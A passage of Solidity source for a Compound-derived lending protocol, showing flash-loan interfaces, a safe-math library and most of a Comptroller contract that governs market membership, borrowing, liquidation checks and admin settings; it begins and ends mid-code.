cTokenCollateral) external returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external returns (uint); } contract CWrappedNativeInterface is CErc20Interface { /** * @notice Flash loan fee ratio */ uint public constant flashFeeBips = 3; /*** Market Events ***/ /** * @notice Event emitted when a flashloan occured */ event Flashloan(address indexed receiver, uint amount, uint totalFee, uint reservesFee); /*** User Interface ***/ function mintNative() external payable returns (uint); function redeemNative(uint redeemTokens) external returns (uint); function redeemUnderlyingNative(uint redeemAmount) external returns (uint); function borrowNative(uint borrowAmount) external returns (uint); function repayBorrowNative() external payable returns (uint); function repayBorrowBehalfNative(address borrower) external payable returns (uint); function liquidateBorrowNative(address borrower, CTokenInterface cTokenCollateral) external payable returns (uint); function flashLoan(address payable receiver, uint amount, bytes calldata params) external; /*** Admin Functions ***/ function _addReservesNative() external payable returns (uint); } contract CCapableErc20Interface is CErc20Interface, CSupplyCapStorage { /** * @notice Flash loan fee ratio */ uint public constant flashFeeBips = 3; /*** Market Events ***/ /** * @notice Event emitted when a flashloan occured */ event Flashloan(address indexed receiver, uint amount, uint totalFee, uint reservesFee); /*** User Interface ***/ function gulp() external; function flashLoan(address receiver, uint amount, bytes calldata params) external; } contract CCollateralCapErc20Interface is CCapableErc20Interface, CCollateralCapStorage { /*** Admin Events ***/ /** * @notice Event emitted when collateral cap is set */ event NewCollateralCap(address token, uint newCap); /** * @notice Event emitted when user collateral is changed */ event UserCollateralChanged(address account, uint newCollateralTokens); /*** User Interface ***/ function registerCollateral(address account) external returns (uint); function unregisterCollateral(address account) external; /*** Admin Functions ***/ function _setCollateralCap(uint newCollateralCap) external; } contract CDelegatorInterface { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } contract CDelegateInterface { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } /*** External interface ***/ /** * @title Flash loan receiver interface */ interface IFlashloanReceiver { function executeOperation(address sender, address underlying, uint amount, uint fee, bytes calldata params) external; } pragma solidity ^0.5.16; /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } pragma solidity ^0.5.16; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; import "./Governance/Comp.sol"; /** * @title Compound's Comptroller Contract * @author Compound (modified by Arr00) */ contract Comptroller is ComptrollerV6Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { /// @notice Emitted when an admin supports a market event MarketListed(CToken cToken); /// @notice Emitted when an admin delists a market event MarketDelisted(CToken cToken); /// @notice Emitted when an account enters a market event MarketEntered(CToken cToken, address account); /// @notice Emitted when an account exits a market event MarketExited(CToken cToken, address account); /// @notice Emitted when close factor is changed by admin event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /// @notice Emitted when a collateral factor is changed by admin event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /// @notice Emitted when liquidation incentive is changed by admin event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /// @notice Emitted when price oracle is changed event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /// @notice Emitted when pause guardian is changed event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /// @notice Emitted when an action is paused globally event ActionPaused(string action, bool pauseState); /// @notice Emitted when an action is paused on a market event ActionPaused(CToken cToken, string action, bool pauseState); /// @notice Emitted when COMP is distributed to a supplier event DistributedSupplierComp(CToken indexed cToken, address indexed supplier, uint compDelta, uint compSupplyIndex); /// @notice Emitted when COMP is distributed to a borrower event DistributedBorrowerComp(CToken indexed cToken, address indexed borrower, uint compDelta, uint compBorrowIndex); /// @notice Emitted when borrow cap for a cToken is changed event NewBorrowCap(CToken indexed cToken, uint newBorrowCap); /// @notice Emitted when borrow cap guardian is changed event NewBorrowCapGuardian(address oldBorrowCapGuardian, address newBorrowCapGuardian); /// @notice Emitted when supply cap for a cToken is changed event NewSupplyCap(CToken indexed cToken, uint newSupplyCap); /// @notice Emitted when supply cap guardian is changed event NewSupplyCapGuardian(address oldSupplyCapGuardian, address newSupplyCapGuardian); /// @notice Emitted when cToken version is changed event NewCTokenVersion(CToken cToken, Version oldVersion, Version newVersion); /// @notice The initial COMP index for a market uint224 public constant compInitialIndex = 1e36; // No collateralFactorMantissa may exceed this value uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public returns (uint[] memory) { uint len = cTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); results[i] = uint(addToMarketInternal(cToken, msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param cToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.version == Version.COLLATERALCAP) { // register collateral for the borrower if the token is CollateralCap version. CCollateralCapErc20Interface(address(cToken)).registerCollateral(borrower); } if (marketToJoin.accountMembership[borrower] == true) { // already joined return Error.NO_ERROR; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(cToken); emit MarketEntered(cToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing necessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[cTokenAddress]; if (marketToExit.version == Version.COLLATERALCAP) { CCollateralCapErc20Interface(cTokenAddress).unregisterCollateral(msg.sender); } /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; if (assetIndex != storedList.length - 1){ storedList[assetIndex] = storedList[storedList.length - 1]; } storedList.length--; emit MarketExited(cToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[cToken], "mint is paused"); if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } uint supplyCap = supplyCaps[cToken]; // Supply cap of 0 corresponds to unlimited supplying if (supplyCap != 0) { uint totalCash = CToken(cToken).getCash(); uint totalBorrows = CToken(cToken).totalBorrows(); uint totalReserves = CToken(cToken).totalReserves(); // totalSupplies = totalCash + totalBorrows - totalReserves (MathError mathErr, uint totalSupplies) = addThenSubUInt(totalCash, totalBorrows, totalReserves); require(mathErr == MathError.NO_ERROR, "totalSupplies failed"); uint nextTotalSupplies = add_(totalSupplies, mintAmount); require(nextTotalSupplies < supplyCap, "market supply cap reached"); } distributeSupplierComp(cToken, minter); return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address cToken, address minter, uint actualMintAmount, uint mintTokens) external { // Shh - currently unused cToken; minter; actualMintAmount; mintTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint) { uint allowed = redeemAllowedInternal(cToken, redeemer, redeemTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } distributeSupplierComp(cToken, redeemer); return uint(Error.NO_ERROR); } function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external { // Shh - currently unused cToken; redeemer; // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[cToken], "borrow is paused"); if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (!markets[cToken].accountMembership[borrower]) { // only cTokens may call borrowAllowed if borrower not in market require(msg.sender == cToken, "sender must be cToken"); // attempt to add borrower to the market Error err = addToMarketInternal(CToken(msg.sender), borrower); if (err != Error.NO_ERROR) { return uint(err); } // it should be impossible to break the important invariant assert(markets[cToken].accountMembership[borrower]); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint(Error.PRICE_ERROR); } uint borrowCap = borrowCaps[cToken]; // Borrow cap of 0 corresponds to unlimited borrowing if (borrowCap != 0) { uint totalBorrows = CToken(cToken).totalBorrows(); uint nextTotalBorrows = add_(totalBorrows, borrowAmount); require(nextTotalBorrows < borrowCap, "market borrow cap reached"); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); distributeBorrowerComp(cToken, borrower, borrowIndex); return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address cToken, address borrower, uint borrowAmount) external { // Shh - currently unused cToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused payer; borrower; repayAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); distributeBorrowerComp(cToken, borrower, borrowIndex); return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint actualRepayAmount, uint borrowerIndex) external { // Shh - currently unused cToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused liquidator; if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); uint maxClose = mul_ScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint actualRepayAmount, uint seizeTokens) external { // Shh - currently unused cTokenBorrowed; cTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); // Shh - currently unused seizeTokens; if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } distributeSupplierComp(cTokenCollateral, borrower); distributeSupplierComp(cTokenCollateral, liquidator); return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external { // Shh - currently unused cTokenCollateral; cTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens uint allowed = redeemAllowedInternal(cToken, src, transferTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } distributeSupplierComp(cToken, src); distributeSupplierComp(cToken, dst); return uint(Error.NO_ERROR); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify(address cToken, address src, address dst, uint transferTokens) external { // Shh - currently unused cToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param receiver The account which receives the tokens * @param amount The amount of the tokens * @param params The other parameters */ function flashloanAllowed(address cToken, address receiver, uint amount, bytes calldata params) external { require(!flashloanGuardianPaused[cToken], "flashloan is paused"); // Shh - currently unused receiver; amount; params; } /** * @notice Update CToken's version. * @param cToken Version of the asset being updated * @param newVersion The new version */ function updateCTokenVersion(address cToken, Version newVersion) external { require(msg.sender == cToken, "only cToken could update its version"); // This function will be called when a new CToken implementation becomes active. // If a new CToken is newly created, this market is not listed yet. The version of // this market will be taken care of when calling `_supportMarket`. if (markets[cToken].isListed) { Version oldVersion = markets[cToken].version; markets[cToken].version = newVersion; emit NewCTokenVersion(CToken(cToken), oldVersion, newVersion); } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint cTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToDenom; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address cTokenModify, uint redeemTokens, uint borrowAmount) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(cTokenModify), redeemTokens, borrowAmount); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) vars.tokensToDenom = mul_(mul_(vars.collateralFactor, vars.exchangeRate), vars.oraclePrice); // sumCollateral += tokensToDenom * cTokenBalance vars.sumCollateral = mul_ScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral); // sumBorrowPlusEffects += oraclePrice * borrowBalance vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToDenom * redeemTokens vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects); // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external view returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error Exp memory numerator = mul_(Exp({mantissa: liquidationIncentiveMantissa}), Exp({mantissa: priceBorrowedMantissa})); Exp memory denominator = mul_(Exp({mantissa: priceCollateralMantissa}), Exp({mantissa: exchangeRateMantissa})); Exp memory ratio = div_(numerator, denominator); uint seizeTokens = mul_ScalarTruncate(ratio, actualRepayAmount); return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, 